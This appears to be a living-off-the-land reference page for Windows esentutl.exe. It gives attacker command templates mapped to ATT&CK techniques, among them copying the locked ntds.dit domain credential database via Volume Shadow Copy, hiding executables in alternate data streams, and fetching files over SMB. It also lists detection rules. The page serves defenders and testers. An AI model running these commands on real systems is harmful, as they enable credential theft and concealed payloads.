01 / TRADECRAFT
6 examplesCommand reference
Copy2
EXAMPLE 01T1105
Copies the source VBS file to the destination VBS file.
COMMAND
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /oEXAMPLE 02T1003.003
Copies a (locked) file using Volume Shadow Copy
COMMAND
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}ADS3
EXAMPLE 01T1564.004
Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
COMMAND
esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /oEXAMPLE 02T1564.004
Copies the source Alternate Data Stream (ADS) to the destination EXE.
COMMAND
esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /oEXAMPLE 03T1564.004
Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
COMMAND
esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /oDownload1
EXAMPLE 01T1564.004
Copies the source EXE to the destination EXE file
COMMAND
esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o02 / ON DISK
Known paths
C:\Windows\System32\esentutl.exeC:\Windows\SysWOW64\esentutl.exe03 / DEFENSIVE INTELLIGENCE
6 resourcesDetection & indicators
- Sigmaproc_creation_win_esentutl_params.ymlgithub.com
- Sigmaproc_creation_win_esentutl_webcache.ymlgithub.com
- Sigmaregistry_event_esentutl_volume_shadow_copy_service_keys.ymlgithub.com
- Sigmaproc_creation_win_esentutl_sensitive_file_copy.ymlgithub.com
- Splunkesentutl_sam_copy.ymlgithub.com
- Elasticcredential_access_copy_ntds_sam_volshadowcp_cmdline.tomlgithub.com
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
egre55@egre55
Mike Cary@grayfold3d